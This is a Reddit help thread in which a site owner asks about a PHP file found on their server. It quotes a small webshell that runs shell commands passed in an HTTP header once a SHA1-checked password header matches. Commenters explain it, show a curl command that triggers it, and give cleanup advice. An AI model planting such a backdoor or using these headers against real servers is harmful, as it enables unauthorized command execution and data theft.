r/PHPhelp • • Mar 25 '21

Solved Found a File on my Server. What does this PHP Snippet do ?

Hey i found a php File on my Server. I already deleted it. I am concerned about this. I cant find anything about HTTP_X_KEY or HTTP_X_CW on the web. Where are they used? Where are they set? Code Snippet:

<?php if (sha1($_SERVER['HTTP_X_KEY']) === '32d0703226477059ec090a0c8defc709ce7d0be0') {      system($_SERVER['HTTP_X_CW']);  } ?> 

Thanks in advance for any help.

18 Upvotes

17 comments sorted by

18

u/jameswilson7208 Mar 25 '21

Remote code execution via headers

1

u/phpdevdummy Mar 25 '21

how can they be set ?

10

u/mrunkel Mar 25 '21
curl --location --request POST 'server.com' \
--header 'HTTP_X_KEY: thepassword_that_when_hashed_results_in_32d0703226477059ec090a0c8defc709ce7d0be0' \
--header 'HTTP_X_CW: the_command_to_execute'

That will execute the_command_to_execute on the server as the same user as the webserver/PHP-FPM process.

2

u/Rafael20002000 Mar 25 '21

curl -H 'Some-Header: some-value' some-server.com

22

u/ThreeForksNoSpoon Mar 25 '21

This is one of those cases where you not only need to delete it, but also figure out how it got there in the first place.

Somewhere in your website / server there's a leak. You need to fix it. Immediately.

11

u/crazedizzled Mar 25 '21

I'm going to go out on a limb and assume wordpress.

And yeah, you definitely need to delete that server and start fresh.

9

u/evohans Mar 25 '21

WordPress, it's always WordPress.

1

u/PhilsForever Mar 25 '21

Or Magento. Or Joomla. But mostly Wordpress.

0

u/PopeInnocentXIV Mar 25 '21

I had malware uploaded to my server via WordPress. Found it, cleaned it out, and moved all WordPress sites to an alternate host. Five years later I still can't send email to recipients at GMail without it ending up in their spam folders.

7

u/dabenu Mar 25 '21

also, don't assume this is the only piece of garbage they put on your system. And think about what they could've taken out (databases? credentials/api-keys?)

I kind of agree with the "nuke from orbit, start over" advices.

9

u/Tigris_Morte Mar 25 '21

Purge and start from scratch. Your server is now a zombie bot being used for illegal purposes.

7

u/SoBoredAtWork Mar 25 '21 edited Mar 25 '21

I went through this recently. It's definitely an attack/malware.

I would delete the code and hours/days later it would be back. And it was injected into hundreds of files on my webserver. It was at the top of most index.php files and one interesting thing is that I found it injected into *.ico files.

It's still just a guess, but I had one or two very outdated wordpress installations on the server. I guess someone got in through a vulnerability in wp or a plugin that I never patched.

Fixing it is not easy. Assuming you have hosted WordPress sites, first step would be to install the Wordfence plugin on all WP sites and run all the scans you can. I also did a text search on my server for all .ico files. I deleted a ton that were fake/malware. Also, install ManageWP on all sites so that you can easily keep your wp and plugins updated. ManageWP also have a security scan. Do that too.

Note: there are other solutions besides Wordfence and ManageWP, those are just what I have used and it worked out well.

Edit: as others have said, it's not fun to hear, but I switched hosting company after cleaning everything. New host, new passwords, everything. And obviously I take more care to make sure I don't have old, out-of-date, wp or plugins. The migration was a pain, but I haven't seen any issues since.

3

u/BigOldDoggie Mar 25 '21

Get WordFence in there. Should have been there from the start. AND, sorry, it is time to find a new host. There's a possibility that it's coming from the top down.

Basically every thing SoBoredAtWork said.

3

u/_ROHJAY Mar 25 '21

To further what everyone has already said, this particular script is what's known as a "webshell", and it's purpose is to allow someone access to running commands on your server via an easily accessible endpoint. This one has a tiny bit of auth where it checks a passed in pw against a sha1 hash, then runs the commands via a system call. They're using headers here to pass in both the password and the command as headers are not logged by servers and they can maintain a level anonymity as requests look similar to any other request in logs. Clever, right?

Depending on your server's settings, they can write to disc, include other files, modify files, access your database (which is how many attacks remain persistent, depending on your site/cms), and more. What's worse is that a lot of times, they can add timeouts so that many of the actions that happen on a server don't line up with request log times. Or they'll add/replace files that do the work, and delete/revert them immediately after. This helps them keep all of their actions difficult to understand or undo.

Your first step is to contact your host and let them know your site has been hacked. Next step, move the webshell out of the location it's in and replace it with a blank php file (so that it still responds with a 200 - you could log the headers they pass, if you're curious). Show your host the webshell so they can better see what's going on. This step is really important because it could be indicative of a larger problem and they need to be able to investigate it. Leaving something in place that responds with a 200 can/may delay a malicious actor from taking additional steps to rectify the issue and creating a backup plan.

The next step -- and one you'll likely have to do again once everything is cleaned up: change your passwords. They've likely been watching all the traffic to your site, especially login info. Unfortunately, if you have a site where other people log in too - this means them as well. Once everything is cleaned up, change your password again - do not reuse the previous ones!!!

Last tidbit on this, you'd be surprised how often sites get hacked because admins have generic login names tied to easy to guess passwords. For example: sushi restaurant with an admin user "admin" using a password like "sushi123", a construction company with a similar admin user and the password "buildstuff". In both those scenarios, it's only a matter of time... and not even that much time.

If you've already removed the file as has been suggested, no worries. But these are the steps I would take in your shoes... especially logging the headers passed in to that script, because I'm curious like that =]

Good luck!

1

u/BigOldDoggie Mar 25 '21

I'm curious, what was the file named? (Have a few servers I'd like to rescan...)